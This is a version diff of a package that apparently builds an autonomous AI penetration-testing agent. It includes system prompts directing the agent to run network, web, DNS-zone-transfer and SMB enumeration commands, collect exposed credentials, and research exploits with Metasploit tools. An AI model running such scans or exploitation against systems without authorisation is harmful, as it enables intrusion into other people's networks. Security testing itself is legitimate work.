pentesting 0.1.12 → 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +177 -80
- package/dist/index.js +1969 -331
- package/package.json +2 -2
package/dist/index.js
CHANGED
|
@@ -266,7 +266,8 @@ var AGENT_EVENT = {
|
|
|
266
266
|
COMPLETE: "complete",
|
|
267
267
|
REPORT: "report",
|
|
268
268
|
ERROR: "error",
|
|
269
|
-
HINT_RECEIVED: "hint_received"
|
|
269
|
+
HINT_RECEIVED: "hint_received",
|
|
270
|
+
CONTEXT_COMPACTED: "context_compacted"
|
|
270
271
|
};
|
|
271
272
|
var CLI_COMMAND = {
|
|
272
273
|
HELP: "help",
|
|
@@ -1373,10 +1374,11 @@ const { chromium } = require('playwright');
|
|
|
1373
1374
|
}
|
|
1374
1375
|
|
|
1375
1376
|
// src/config/constants.ts
|
|
1376
|
-
var APP_VERSION = "
|
|
1377
|
+
var APP_VERSION = "0.2.1";
|
|
1377
1378
|
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
1378
1379
|
var CLAUDE_MODEL = process.env.PENTEST_MODEL || "claude-sonnet-4-20250514";
|
|
1379
|
-
var CLAUDE_MAX_TOKENS = 16384;
|
|
1380
|
+
var CLAUDE_MAX_TOKENS = parseInt(process.env.PENTEST_MAX_TOKENS || "16384", 10);
|
|
1381
|
+
var ANTHROPIC_BASE_URL = process.env.ANTHROPIC_BASE_URL || void 0;
|
|
1380
1382
|
var AGENT_CONFIG = {
|
|
1381
1383
|
maxIterations: 200,
|
|
1382
1384
|
maxToolCallsPerIteration: 10,
|
|
@@ -1401,85 +1403,10 @@ var PENTEST_PHASES = [
|
|
|
1401
1403
|
{ id: PHASE_ID.REPORT, name: "Reporting", description: "Documentation" }
|
|
1402
1404
|
];
|
|
1403
1405
|
|
|
1404
|
-
// src/core/agent/agent-loader.ts
|
|
1405
|
-
import * as fs2 from "fs/promises";
|
|
1406
|
-
import * as path2 from "path";
|
|
1407
|
-
import { fileURLToPath } from "url";
|
|
1408
|
-
var __dirname = path2.dirname(fileURLToPath(import.meta.url));
|
|
1409
|
-
function parseFrontmatter(content) {
|
|
1410
|
-
const frontmatterMatch = content.match(/^---\n([\s\S]*?)\n---\n([\s\S]*)$/);
|
|
1411
|
-
if (!frontmatterMatch) {
|
|
1412
|
-
throw new Error("Invalid agent file: missing frontmatter");
|
|
1413
|
-
}
|
|
1414
|
-
const [, frontmatterStr, body] = frontmatterMatch;
|
|
1415
|
-
const frontmatter = {};
|
|
1416
|
-
for (const line of frontmatterStr.split("\n")) {
|
|
1417
|
-
const colonIndex = line.indexOf(":");
|
|
1418
|
-
if (colonIndex > 0) {
|
|
1419
|
-
const key = line.slice(0, colonIndex).trim();
|
|
1420
|
-
let value = line.slice(colonIndex + 1).trim();
|
|
1421
|
-
if (value.startsWith("[") && value.endsWith("]")) {
|
|
1422
|
-
value = value.slice(1, -1).replace(/"/g, "");
|
|
1423
|
-
}
|
|
1424
|
-
frontmatter[key] = value;
|
|
1425
|
-
}
|
|
1426
|
-
}
|
|
1427
|
-
return {
|
|
1428
|
-
frontmatter,
|
|
1429
|
-
body
|
|
1430
|
-
};
|
|
1431
|
-
}
|
|
1432
|
-
async function loadAgent(filePath) {
|
|
1433
|
-
const content = await fs2.readFile(filePath, "utf-8");
|
|
1434
|
-
const { frontmatter, body } = parseFrontmatter(content);
|
|
1435
|
-
const tools = frontmatter.tools ? frontmatter.tools.split(",").map((t) => t.trim()) : [];
|
|
1436
|
-
return {
|
|
1437
|
-
name: frontmatter.name,
|
|
1438
|
-
description: frontmatter.description,
|
|
1439
|
-
tools,
|
|
1440
|
-
model: frontmatter.model || "sonnet",
|
|
1441
|
-
color: frontmatter.color || "white",
|
|
1442
|
-
content: body,
|
|
1443
|
-
filePath
|
|
1444
|
-
};
|
|
1445
|
-
}
|
|
1446
|
-
async function loadAllAgents(agentsDir) {
|
|
1447
|
-
const dir = agentsDir || path2.resolve(__dirname, "../../../../plugins/pentesting-core/agents");
|
|
1448
|
-
try {
|
|
1449
|
-
await fs2.access(dir);
|
|
1450
|
-
} catch {
|
|
1451
|
-
return [];
|
|
1452
|
-
}
|
|
1453
|
-
const files = await fs2.readdir(dir);
|
|
1454
|
-
const agents = [];
|
|
1455
|
-
for (const file of files) {
|
|
1456
|
-
if (file.endsWith(".md")) {
|
|
1457
|
-
try {
|
|
1458
|
-
const agent = await loadAgent(path2.join(dir, file));
|
|
1459
|
-
agents.push(agent);
|
|
1460
|
-
} catch {
|
|
1461
|
-
}
|
|
1462
|
-
}
|
|
1463
|
-
}
|
|
1464
|
-
return agents;
|
|
1465
|
-
}
|
|
1466
|
-
function buildAgentPrompt(agent, basePrompt) {
|
|
1467
|
-
return `${basePrompt}
|
|
1468
|
-
|
|
1469
|
-
<current_agent>
|
|
1470
|
-
Name: ${agent.name}
|
|
1471
|
-
Description: ${agent.description}
|
|
1472
|
-
Specialized Tools: ${agent.tools.join(", ")}
|
|
1473
|
-
|
|
1474
|
-
${agent.content}
|
|
1475
|
-
</current_agent>
|
|
1476
|
-
`;
|
|
1477
|
-
}
|
|
1478
|
-
|
|
1479
1406
|
// src/core/hooks/hook-executor.ts
|
|
1480
1407
|
import { spawn as spawn2 } from "child_process";
|
|
1481
|
-
import * as
|
|
1482
|
-
import * as
|
|
1408
|
+
import * as fs2 from "fs/promises";
|
|
1409
|
+
import * as path2 from "path";
|
|
1483
1410
|
import { EventEmitter } from "events";
|
|
1484
1411
|
var HookExecutor = class extends EventEmitter {
|
|
1485
1412
|
hooksConfig = null;
|
|
@@ -1487,13 +1414,13 @@ var HookExecutor = class extends EventEmitter {
|
|
|
1487
1414
|
initialized = false;
|
|
1488
1415
|
constructor(pluginDir = "plugins/pentesting-core") {
|
|
1489
1416
|
super();
|
|
1490
|
-
this.hooksDir =
|
|
1417
|
+
this.hooksDir = path2.join(process.cwd(), pluginDir, "hooks");
|
|
1491
1418
|
}
|
|
1492
1419
|
// Initialize hook system
|
|
1493
1420
|
async initialize() {
|
|
1494
1421
|
try {
|
|
1495
|
-
const configPath =
|
|
1496
|
-
const configContent = await
|
|
1422
|
+
const configPath = path2.join(this.hooksDir, "hooks.json");
|
|
1423
|
+
const configContent = await fs2.readFile(configPath, "utf-8");
|
|
1497
1424
|
this.hooksConfig = JSON.parse(configContent);
|
|
1498
1425
|
this.initialized = true;
|
|
1499
1426
|
this.emit("initialized", { hooks: Object.keys(this.hooksConfig?.hooks || {}) });
|
|
@@ -1520,11 +1447,11 @@ var HookExecutor = class extends EventEmitter {
|
|
|
1520
1447
|
}
|
|
1521
1448
|
// Execute single hook
|
|
1522
1449
|
async executeHook(hook, context) {
|
|
1523
|
-
return new Promise((
|
|
1450
|
+
return new Promise((resolve) => {
|
|
1524
1451
|
const timeout = hook.timeout || 1e4;
|
|
1525
1452
|
let command = hook.command;
|
|
1526
1453
|
if (command.startsWith("./")) {
|
|
1527
|
-
command =
|
|
1454
|
+
command = path2.join(this.hooksDir, command.slice(2));
|
|
1528
1455
|
}
|
|
1529
1456
|
const env = {
|
|
1530
1457
|
...process.env,
|
|
@@ -1559,7 +1486,7 @@ var HookExecutor = class extends EventEmitter {
|
|
|
1559
1486
|
decision = "modify";
|
|
1560
1487
|
reason = output.split("MODIFY:")[1]?.split("\n")[0]?.trim() || "";
|
|
1561
1488
|
}
|
|
1562
|
-
|
|
1489
|
+
resolve({
|
|
1563
1490
|
success: code === 0,
|
|
1564
1491
|
output,
|
|
1565
1492
|
decision,
|
|
@@ -1567,7 +1494,7 @@ var HookExecutor = class extends EventEmitter {
|
|
|
1567
1494
|
});
|
|
1568
1495
|
});
|
|
1569
1496
|
proc.on("error", (error) => {
|
|
1570
|
-
|
|
1497
|
+
resolve({
|
|
1571
1498
|
success: false,
|
|
1572
1499
|
output: error.message,
|
|
1573
1500
|
decision: "proceed"
|
|
@@ -1607,131 +1534,6 @@ function getHookExecutor() {
|
|
|
1607
1534
|
return hookExecutor;
|
|
1608
1535
|
}
|
|
1609
1536
|
|
|
1610
|
-
// src/core/commands/command-parser.ts
|
|
1611
|
-
import * as fs4 from "fs/promises";
|
|
1612
|
-
import * as path4 from "path";
|
|
1613
|
-
function parseCommand(input) {
|
|
1614
|
-
const trimmed = input.trim();
|
|
1615
|
-
if (!trimmed.startsWith("/")) {
|
|
1616
|
-
return null;
|
|
1617
|
-
}
|
|
1618
|
-
const parts = trimmed.slice(1).split(/\s+/);
|
|
1619
|
-
const command = parts[0];
|
|
1620
|
-
const rawArgs = parts.slice(1);
|
|
1621
|
-
return {
|
|
1622
|
-
command,
|
|
1623
|
-
args: {},
|
|
1624
|
-
rawArgs
|
|
1625
|
-
};
|
|
1626
|
-
}
|
|
1627
|
-
async function loadCommand(filePath) {
|
|
1628
|
-
try {
|
|
1629
|
-
const content = await fs4.readFile(filePath, "utf-8");
|
|
1630
|
-
const frontmatterMatch = content.match(/^---\n([\s\S]*?)\n---/);
|
|
1631
|
-
if (!frontmatterMatch) {
|
|
1632
|
-
return null;
|
|
1633
|
-
}
|
|
1634
|
-
const frontmatter = frontmatterMatch[1];
|
|
1635
|
-
const name = path4.basename(filePath, ".md");
|
|
1636
|
-
const descMatch = frontmatter.match(/description:\s*(.+)/);
|
|
1637
|
-
const description = descMatch ? descMatch[1].trim() : "";
|
|
1638
|
-
const argsMatch = frontmatter.match(/arguments:\s*\n((?:\s+-.*\n?)*)/);
|
|
1639
|
-
const arguments_ = [];
|
|
1640
|
-
if (argsMatch) {
|
|
1641
|
-
const argLines = argsMatch[1].split("\n").filter((l) => l.trim().startsWith("-"));
|
|
1642
|
-
for (const line of argLines) {
|
|
1643
|
-
const match = line.match(/-\s*(\w+):\s*(.+)/);
|
|
1644
|
-
if (match) {
|
|
1645
|
-
arguments_.push({
|
|
1646
|
-
name: match[1],
|
|
1647
|
-
required: !match[2].includes("optional"),
|
|
1648
|
-
description: match[2].replace(/\(.*?\)/g, "").trim()
|
|
1649
|
-
});
|
|
1650
|
-
}
|
|
1651
|
-
}
|
|
1652
|
-
}
|
|
1653
|
-
return {
|
|
1654
|
-
name,
|
|
1655
|
-
description,
|
|
1656
|
-
arguments: arguments_,
|
|
1657
|
-
content: content.slice(frontmatterMatch[0].length).trim()
|
|
1658
|
-
};
|
|
1659
|
-
} catch {
|
|
1660
|
-
return null;
|
|
1661
|
-
}
|
|
1662
|
-
}
|
|
1663
|
-
var CommandRegistry = class {
|
|
1664
|
-
commands = /* @__PURE__ */ new Map();
|
|
1665
|
-
commandsDir;
|
|
1666
|
-
initialized = false;
|
|
1667
|
-
constructor(pluginDir = "plugins/pentesting-core") {
|
|
1668
|
-
this.commandsDir = path4.join(process.cwd(), pluginDir, "commands");
|
|
1669
|
-
}
|
|
1670
|
-
// Load all commands from directory
|
|
1671
|
-
async initialize() {
|
|
1672
|
-
try {
|
|
1673
|
-
const files = await fs4.readdir(this.commandsDir);
|
|
1674
|
-
for (const file of files) {
|
|
1675
|
-
if (file.endsWith(".md")) {
|
|
1676
|
-
const cmd = await loadCommand(path4.join(this.commandsDir, file));
|
|
1677
|
-
if (cmd) {
|
|
1678
|
-
this.commands.set(cmd.name, cmd);
|
|
1679
|
-
}
|
|
1680
|
-
}
|
|
1681
|
-
}
|
|
1682
|
-
this.initialized = true;
|
|
1683
|
-
} catch {
|
|
1684
|
-
this.initialized = true;
|
|
1685
|
-
}
|
|
1686
|
-
}
|
|
1687
|
-
// Get command by name
|
|
1688
|
-
async getCommand(name) {
|
|
1689
|
-
if (!this.initialized) {
|
|
1690
|
-
await this.initialize();
|
|
1691
|
-
}
|
|
1692
|
-
return this.commands.get(name) || null;
|
|
1693
|
-
}
|
|
1694
|
-
// Get all available commands
|
|
1695
|
-
async getAvailableCommands() {
|
|
1696
|
-
if (!this.initialized) {
|
|
1697
|
-
await this.initialize();
|
|
1698
|
-
}
|
|
1699
|
-
return Array.from(this.commands.values());
|
|
1700
|
-
}
|
|
1701
|
-
// Check if command exists
|
|
1702
|
-
async hasCommand(name) {
|
|
1703
|
-
if (!this.initialized) {
|
|
1704
|
-
await this.initialize();
|
|
1705
|
-
}
|
|
1706
|
-
return this.commands.has(name);
|
|
1707
|
-
}
|
|
1708
|
-
// Build help text for a command
|
|
1709
|
-
async getHelp(name) {
|
|
1710
|
-
if (name) {
|
|
1711
|
-
const cmd = await this.getCommand(name);
|
|
1712
|
-
if (!cmd) {
|
|
1713
|
-
return `Unknown command: ${name}`;
|
|
1714
|
-
}
|
|
1715
|
-
const args = cmd.arguments.map((a) => ` ${a.required ? "<" : "["}${a.name}${a.required ? ">" : "]"} - ${a.description}`).join("\n");
|
|
1716
|
-
return `/${cmd.name} - ${cmd.description}
|
|
1717
|
-
|
|
1718
|
-
Arguments:
|
|
1719
|
-
${args || " (none)"}`;
|
|
1720
|
-
}
|
|
1721
|
-
const commands = await this.getAvailableCommands();
|
|
1722
|
-
const list = commands.map((c) => ` /${c.name} - ${c.description}`).join("\n");
|
|
1723
|
-
return `Available Commands:
|
|
1724
|
-
${list || " (no commands loaded)"}`;
|
|
1725
|
-
}
|
|
1726
|
-
};
|
|
1727
|
-
var commandRegistry = null;
|
|
1728
|
-
function getCommandRegistry() {
|
|
1729
|
-
if (!commandRegistry) {
|
|
1730
|
-
commandRegistry = new CommandRegistry();
|
|
1731
|
-
}
|
|
1732
|
-
return commandRegistry;
|
|
1733
|
-
}
|
|
1734
|
-
|
|
1735
1537
|
// src/mcp/mcp-client.ts
|
|
1736
1538
|
import { spawn as spawn3 } from "child_process";
|
|
1737
1539
|
import { EventEmitter as EventEmitter2 } from "events";
|
|
@@ -1750,7 +1552,7 @@ var MCPClient = class extends EventEmitter2 {
|
|
|
1750
1552
|
}
|
|
1751
1553
|
// Start MCP server
|
|
1752
1554
|
async connect() {
|
|
1753
|
-
return new Promise((
|
|
1555
|
+
return new Promise((resolve, reject) => {
|
|
1754
1556
|
const { command, args, env } = this.config;
|
|
1755
1557
|
this.process = spawn3(command, args || [], {
|
|
1756
1558
|
env: { ...process.env, ...env },
|
|
@@ -1781,7 +1583,7 @@ var MCPClient = class extends EventEmitter2 {
|
|
|
1781
1583
|
this.process.on("spawn", () => {
|
|
1782
1584
|
this.connected = true;
|
|
1783
1585
|
this.emit("connected", { server: this.serverName });
|
|
1784
|
-
|
|
1586
|
+
resolve();
|
|
1785
1587
|
});
|
|
1786
1588
|
this.process.on("close", (code) => {
|
|
1787
1589
|
this.connected = false;
|
|
@@ -1801,8 +1603,8 @@ var MCPClient = class extends EventEmitter2 {
|
|
|
1801
1603
|
method,
|
|
1802
1604
|
params
|
|
1803
1605
|
};
|
|
1804
|
-
return new Promise((
|
|
1805
|
-
this.pendingRequests.set(id, { resolve
|
|
1606
|
+
return new Promise((resolve, reject) => {
|
|
1607
|
+
this.pendingRequests.set(id, { resolve, reject });
|
|
1806
1608
|
const line = JSON.stringify(request) + "\n";
|
|
1807
1609
|
this.process.stdin.write(line, (error) => {
|
|
1808
1610
|
if (error) {
|
|
@@ -1906,79 +1708,1207 @@ var MCPManager = class extends EventEmitter2 {
|
|
|
1906
1708
|
if (!client) {
|
|
1907
1709
|
throw new Error(`MCP server not connected: ${entry.server}`);
|
|
1908
1710
|
}
|
|
1909
|
-
return client.callTool(toolName, args);
|
|
1910
|
-
}
|
|
1911
|
-
// Get all available tools
|
|
1912
|
-
getAvailableTools() {
|
|
1913
|
-
return Array.from(this.tools.values()).map((e) => e.tool);
|
|
1711
|
+
return client.callTool(toolName, args);
|
|
1712
|
+
}
|
|
1713
|
+
// Get all available tools
|
|
1714
|
+
getAvailableTools() {
|
|
1715
|
+
return Array.from(this.tools.values()).map((e) => e.tool);
|
|
1716
|
+
}
|
|
1717
|
+
// Disconnect all
|
|
1718
|
+
async disconnectAll() {
|
|
1719
|
+
for (const client of this.clients.values()) {
|
|
1720
|
+
await client.disconnect();
|
|
1721
|
+
}
|
|
1722
|
+
this.clients.clear();
|
|
1723
|
+
this.tools.clear();
|
|
1724
|
+
}
|
|
1725
|
+
};
|
|
1726
|
+
var mcpManager = null;
|
|
1727
|
+
function getMCPManager() {
|
|
1728
|
+
if (!mcpManager) {
|
|
1729
|
+
mcpManager = new MCPManager();
|
|
1730
|
+
}
|
|
1731
|
+
return mcpManager;
|
|
1732
|
+
}
|
|
1733
|
+
|
|
1734
|
+
// src/core/tools/web-search.ts
|
|
1735
|
+
import { spawn as spawn4 } from "child_process";
|
|
1736
|
+
async function searchDuckDuckGo(query, options = {}) {
|
|
1737
|
+
const { maxResults = 10, timeout = 3e4 } = options;
|
|
1738
|
+
return new Promise((resolve) => {
|
|
1739
|
+
const url = `https://html.duckduckgo.com/html/?q=${encodeURIComponent(query)}`;
|
|
1740
|
+
const proc = spawn4("curl", [
|
|
1741
|
+
"-s",
|
|
1742
|
+
"-A",
|
|
1743
|
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
|
1744
|
+
url
|
|
1745
|
+
], { timeout });
|
|
1746
|
+
let stdout = "";
|
|
1747
|
+
proc.stdout.on("data", (data) => {
|
|
1748
|
+
stdout += data.toString();
|
|
1749
|
+
});
|
|
1750
|
+
proc.on("close", () => {
|
|
1751
|
+
const results = [];
|
|
1752
|
+
const resultRegex = /<a[^>]+class="result__a"[^>]+href="([^"]+)"[^>]*>([^<]+)<\/a>/g;
|
|
1753
|
+
const snippetRegex = /<a[^>]+class="result__snippet"[^>]*>([^<]+)<\/a>/g;
|
|
1754
|
+
let match;
|
|
1755
|
+
const urls = [];
|
|
1756
|
+
const titles = [];
|
|
1757
|
+
const snippets = [];
|
|
1758
|
+
while ((match = resultRegex.exec(stdout)) !== null) {
|
|
1759
|
+
urls.push(match[1]);
|
|
1760
|
+
titles.push(match[2]);
|
|
1761
|
+
}
|
|
1762
|
+
while ((match = snippetRegex.exec(stdout)) !== null) {
|
|
1763
|
+
snippets.push(match[1]);
|
|
1764
|
+
}
|
|
1765
|
+
for (let i = 0; i < Math.min(urls.length, maxResults); i++) {
|
|
1766
|
+
results.push({
|
|
1767
|
+
title: titles[i] || "",
|
|
1768
|
+
url: urls[i] || "",
|
|
1769
|
+
snippet: snippets[i] || ""
|
|
1770
|
+
});
|
|
1771
|
+
}
|
|
1772
|
+
resolve(results);
|
|
1773
|
+
});
|
|
1774
|
+
proc.on("error", () => {
|
|
1775
|
+
resolve([]);
|
|
1776
|
+
});
|
|
1777
|
+
});
|
|
1778
|
+
}
|
|
1779
|
+
async function searchCVE(query) {
|
|
1780
|
+
return searchDuckDuckGo(`${query} site:cve.mitre.org OR site:nvd.nist.gov`);
|
|
1781
|
+
}
|
|
1782
|
+
async function searchExploits(query) {
|
|
1783
|
+
return searchDuckDuckGo(`${query} site:exploit-db.com OR site:github.com exploit`);
|
|
1784
|
+
}
|
|
1785
|
+
|
|
1786
|
+
// src/utils/retry.ts
|
|
1787
|
+
var DEFAULT_OPTIONS = {
|
|
1788
|
+
maxRetries: 3,
|
|
1789
|
+
initialDelay: 300,
|
|
1790
|
+
maxDelay: 1e4,
|
|
1791
|
+
jitter: true,
|
|
1792
|
+
retryableErrors: isRetryableError
|
|
1793
|
+
};
|
|
1794
|
+
function isRetryableError(error) {
|
|
1795
|
+
const message = error.message.toLowerCase();
|
|
1796
|
+
if (message.includes("network") || message.includes("timeout") || message.includes("econnrefused") || message.includes("econnreset") || message.includes("socket hang up")) {
|
|
1797
|
+
return true;
|
|
1798
|
+
}
|
|
1799
|
+
if (message.includes("rate limit") || message.includes("429")) {
|
|
1800
|
+
return true;
|
|
1801
|
+
}
|
|
1802
|
+
if (message.includes("500") || message.includes("502") || message.includes("503") || message.includes("504")) {
|
|
1803
|
+
return true;
|
|
1804
|
+
}
|
|
1805
|
+
if (message.includes("overloaded") || message.includes("capacity")) {
|
|
1806
|
+
return true;
|
|
1807
|
+
}
|
|
1808
|
+
return false;
|
|
1809
|
+
}
|
|
1810
|
+
function calculateDelay(attempt, options) {
|
|
1811
|
+
let delay = options.initialDelay * Math.pow(2, attempt);
|
|
1812
|
+
delay = Math.min(delay, options.maxDelay);
|
|
1813
|
+
if (options.jitter) {
|
|
1814
|
+
delay += Math.random() * delay * 0.5;
|
|
1815
|
+
}
|
|
1816
|
+
return Math.floor(delay);
|
|
1817
|
+
}
|
|
1818
|
+
async function withRetry(fn, options = {}) {
|
|
1819
|
+
const opts = { ...DEFAULT_OPTIONS, ...options };
|
|
1820
|
+
let lastError;
|
|
1821
|
+
for (let attempt = 0; attempt < opts.maxRetries; attempt++) {
|
|
1822
|
+
try {
|
|
1823
|
+
return await fn();
|
|
1824
|
+
} catch (error) {
|
|
1825
|
+
lastError = error instanceof Error ? error : new Error(String(error));
|
|
1826
|
+
const isRetryable = opts.retryableErrors?.(lastError) ?? false;
|
|
1827
|
+
if (!isRetryable) {
|
|
1828
|
+
throw lastError;
|
|
1829
|
+
}
|
|
1830
|
+
if (attempt === opts.maxRetries - 1) {
|
|
1831
|
+
throw lastError;
|
|
1832
|
+
}
|
|
1833
|
+
const delay = calculateDelay(attempt, opts);
|
|
1834
|
+
opts.onRetry?.(attempt + 1, lastError, delay);
|
|
1835
|
+
await new Promise((resolve) => setTimeout(resolve, delay));
|
|
1836
|
+
}
|
|
1837
|
+
}
|
|
1838
|
+
throw lastError ?? new Error("Retry failed with no error");
|
|
1839
|
+
}
|
|
1840
|
+
|
|
1841
|
+
// src/core/context/compaction.ts
|
|
1842
|
+
var COMPACTION_PROMPT = `You are a conversation compactor. Your task is to summarize the conversation history while preserving:
|
|
1843
|
+
1. All important findings and discoveries
|
|
1844
|
+
2. Key decisions and their rationale
|
|
1845
|
+
3. Current state and progress
|
|
1846
|
+
4. Any errors or issues encountered
|
|
1847
|
+
5. Next steps or pending actions
|
|
1848
|
+
|
|
1849
|
+
Create a concise summary that another AI can use to continue this conversation seamlessly.
|
|
1850
|
+
Format the summary as a structured overview with sections for:
|
|
1851
|
+
- Objective
|
|
1852
|
+
- Progress Made
|
|
1853
|
+
- Key Findings
|
|
1854
|
+
- Current State
|
|
1855
|
+
- Next Steps
|
|
1856
|
+
|
|
1857
|
+
Keep the summary under 2000 tokens while preserving all critical information.`;
|
|
1858
|
+
function estimateTokens(text) {
|
|
1859
|
+
return Math.ceil(text.length / 4);
|
|
1860
|
+
}
|
|
1861
|
+
function getHistoryTokens(messages) {
|
|
1862
|
+
return messages.reduce((total, msg) => {
|
|
1863
|
+
const content = typeof msg.content === "string" ? msg.content : JSON.stringify(msg.content);
|
|
1864
|
+
return total + estimateTokens(content);
|
|
1865
|
+
}, 0);
|
|
1866
|
+
}
|
|
1867
|
+
function needsCompaction(messages, maxTokens = 15e4, minMessages = 10) {
|
|
1868
|
+
if (messages.length < minMessages) return false;
|
|
1869
|
+
return getHistoryTokens(messages) > maxTokens;
|
|
1870
|
+
}
|
|
1871
|
+
async function compactHistory(client, messages, keepRecent = 4) {
|
|
1872
|
+
const originalTokens = getHistoryTokens(messages);
|
|
1873
|
+
const recentMessages = messages.slice(-keepRecent);
|
|
1874
|
+
const oldMessages = messages.slice(0, -keepRecent);
|
|
1875
|
+
if (oldMessages.length === 0) {
|
|
1876
|
+
return {
|
|
1877
|
+
messages,
|
|
1878
|
+
originalTokens,
|
|
1879
|
+
compactedTokens: originalTokens,
|
|
1880
|
+
compactionRatio: 1
|
|
1881
|
+
};
|
|
1882
|
+
}
|
|
1883
|
+
const historyText = oldMessages.map((msg) => {
|
|
1884
|
+
const content = typeof msg.content === "string" ? msg.content : JSON.stringify(msg.content);
|
|
1885
|
+
return `[${msg.role.toUpperCase()}]: ${content}`;
|
|
1886
|
+
}).join("\n\n");
|
|
1887
|
+
const response = await client.messages.create({
|
|
1888
|
+
model: CLAUDE_MODEL,
|
|
1889
|
+
max_tokens: CLAUDE_MAX_TOKENS,
|
|
1890
|
+
system: COMPACTION_PROMPT,
|
|
1891
|
+
messages: [{
|
|
1892
|
+
role: "user",
|
|
1893
|
+
content: `Please summarize this conversation history:
|
|
1894
|
+
|
|
1895
|
+
${historyText}`
|
|
1896
|
+
}]
|
|
1897
|
+
});
|
|
1898
|
+
const summary = response.content.filter((block) => block.type === "text").map((block) => block.text).join("\n");
|
|
1899
|
+
const compactedMessages = [
|
|
1900
|
+
{
|
|
1901
|
+
role: "user",
|
|
1902
|
+
content: `[CONVERSATION SUMMARY]
|
|
1903
|
+
${summary}
|
|
1904
|
+
|
|
1905
|
+
[Previous conversation has been compacted for context efficiency. Continue from here.]`
|
|
1906
|
+
},
|
|
1907
|
+
...recentMessages
|
|
1908
|
+
];
|
|
1909
|
+
const compactedTokens = getHistoryTokens(compactedMessages);
|
|
1910
|
+
return {
|
|
1911
|
+
messages: compactedMessages,
|
|
1912
|
+
originalTokens,
|
|
1913
|
+
compactedTokens,
|
|
1914
|
+
compactionRatio: compactedTokens / originalTokens
|
|
1915
|
+
};
|
|
1916
|
+
}
|
|
1917
|
+
var ContextManager = class {
|
|
1918
|
+
maxTokens;
|
|
1919
|
+
warningThreshold;
|
|
1920
|
+
client;
|
|
1921
|
+
constructor(client, options) {
|
|
1922
|
+
this.client = client;
|
|
1923
|
+
this.maxTokens = options?.maxTokens ?? 15e4;
|
|
1924
|
+
this.warningThreshold = options?.warningThreshold ?? 12e4;
|
|
1925
|
+
}
|
|
1926
|
+
/**
|
|
1927
|
+
* Check context status
|
|
1928
|
+
*/
|
|
1929
|
+
checkStatus(messages) {
|
|
1930
|
+
const tokens = getHistoryTokens(messages);
|
|
1931
|
+
const percentage = tokens / this.maxTokens;
|
|
1932
|
+
return {
|
|
1933
|
+
tokens,
|
|
1934
|
+
percentage,
|
|
1935
|
+
needsCompaction: tokens > this.maxTokens,
|
|
1936
|
+
warning: tokens > this.warningThreshold
|
|
1937
|
+
};
|
|
1938
|
+
}
|
|
1939
|
+
/**
|
|
1940
|
+
* Compact if needed
|
|
1941
|
+
*/
|
|
1942
|
+
async compactIfNeeded(messages) {
|
|
1943
|
+
if (!needsCompaction(messages, this.maxTokens)) {
|
|
1944
|
+
return { messages, wasCompacted: false };
|
|
1945
|
+
}
|
|
1946
|
+
const result = await compactHistory(this.client, messages);
|
|
1947
|
+
return {
|
|
1948
|
+
messages: result.messages,
|
|
1949
|
+
wasCompacted: true,
|
|
1950
|
+
result
|
|
1951
|
+
};
|
|
1952
|
+
}
|
|
1953
|
+
};
|
|
1954
|
+
|
|
1955
|
+
// src/agents/index.ts
|
|
1956
|
+
var TARGET_EXPLORER = {
|
|
1957
|
+
name: "target-explorer",
|
|
1958
|
+
description: "Deeply analyze target systems by tracing execution paths, data flows, and attack surfaces.",
|
|
1959
|
+
phase: "recon",
|
|
1960
|
+
tools: ["bash", "nmap", "masscan", "gobuster", "dnsrecon", "enum4linux"],
|
|
1961
|
+
systemPrompt: `# Target Explorer Agent
|
|
1962
|
+
|
|
1963
|
+
You are a reconnaissance specialist who deeply analyzes target systems by mapping attack surfaces, enumeration, and vulnerability identification.
|
|
1964
|
+
|
|
1965
|
+
## Core Process
|
|
1966
|
+
|
|
1967
|
+
**1. Network Discovery**
|
|
1968
|
+
Identify all live hosts, open ports, and running services. Map the network topology.
|
|
1969
|
+
|
|
1970
|
+
**2. Service Enumeration**
|
|
1971
|
+
For each discovered service, perform detailed enumeration. Identify versions, configurations, and potential vulnerabilities.
|
|
1972
|
+
|
|
1973
|
+
**3. Attack Surface Mapping**
|
|
1974
|
+
Map all entry points: web endpoints, APIs, network services, input handlers. Document authentication mechanisms.
|
|
1975
|
+
|
|
1976
|
+
**4. Data Flow Analysis**
|
|
1977
|
+
Trace how data flows through the system. Identify trust boundaries and potential bypass opportunities.
|
|
1978
|
+
|
|
1979
|
+
## Tools to Use
|
|
1980
|
+
|
|
1981
|
+
\`\`\`bash
|
|
1982
|
+
# Network discovery
|
|
1983
|
+
nmap -sn 10.0.0.0/24
|
|
1984
|
+
|
|
1985
|
+
# Port scan (comprehensive)
|
|
1986
|
+
nmap -sCV -T4 -p- <target>
|
|
1987
|
+
|
|
1988
|
+
# Web enumeration
|
|
1989
|
+
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/common.txt
|
|
1990
|
+
|
|
1991
|
+
# DNS
|
|
1992
|
+
dig axfr <domain> @<ns>
|
|
1993
|
+
dnsrecon -d <domain>
|
|
1994
|
+
|
|
1995
|
+
# SMB
|
|
1996
|
+
smbclient -L //<target>
|
|
1997
|
+
enum4linux -a <target>
|
|
1998
|
+
\`\`\`
|
|
1999
|
+
|
|
2000
|
+
## Output Format
|
|
2001
|
+
|
|
2002
|
+
Deliver a comprehensive analysis:
|
|
2003
|
+
- **Live Hosts**: All discovered hosts with OS fingerprinting
|
|
2004
|
+
- **Open Ports/Services**: Port \u2192 Service \u2192 Version mapping
|
|
2005
|
+
- **Web Applications**: URLs, technologies, entry points
|
|
2006
|
+
- **Attack Surface Map**: Visual or text representation
|
|
2007
|
+
- **Potential Vulnerabilities**: CVE matches, misconfigurations
|
|
2008
|
+
- **Credentials Found**: Any default creds, exposed secrets
|
|
2009
|
+
- **Next Steps**: Prioritized exploitation recommendations
|
|
2010
|
+
|
|
2011
|
+
Be thorough but focused on actionable findings.`
|
|
2012
|
+
};
|
|
2013
|
+
var EXPLOIT_RESEARCHER = {
|
|
2014
|
+
name: "exploit-researcher",
|
|
2015
|
+
description: "CVE research, exploit development, payload crafting. Find/analyze exploits for identified services.",
|
|
2016
|
+
phase: "vuln-analysis",
|
|
2017
|
+
tools: ["bash", "searchsploit", "msfconsole", "msfvenom"],
|
|
2018
|
+
systemPrompt: `# Exploit Researcher
|
|
2019
|
+
|
|
2020
|
+
